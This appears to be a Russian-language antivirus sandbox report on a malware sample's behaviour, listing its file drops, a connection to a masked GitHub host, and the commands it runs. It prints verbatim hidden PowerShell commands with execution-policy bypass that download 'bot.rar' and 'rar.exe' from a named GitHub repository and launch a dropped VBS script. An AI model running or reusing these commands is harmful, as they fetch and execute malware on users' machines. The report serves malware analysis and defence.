Техническая информация
Изменения в файловой системе
Создает следующие файлы
- <Текущая директория>\123
Перемещает следующие файлы
- <Текущая директория>\123 в C:\users\public\xx.vbs
Сетевая активность
Подключается к
- 'gi##ub.com':443
TCP
Другие
- 'gi##ub.com':443
UDP
- DNS ASK gi##ub.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\xx.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Import-Module BitsTransfer ; Start-BitsTransfer -Source https://github.com/ganzheizen8/testUP/blob/main/1/bot.rar?raw=true -Destination 'C:\Users\Public\bot.rar'' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Import-Module BitsTransfer ; Start-BitsTransfer -Source https://github.com/ganzheizen8/testUP/blob/main/rar.exe?raw=true -Destination 'C:\Users\Public\rr.exe'' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C move /y 123 C:/Users/Public/xx.vbs
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -w hidden start-process C:/Users/Public/xx.vbs
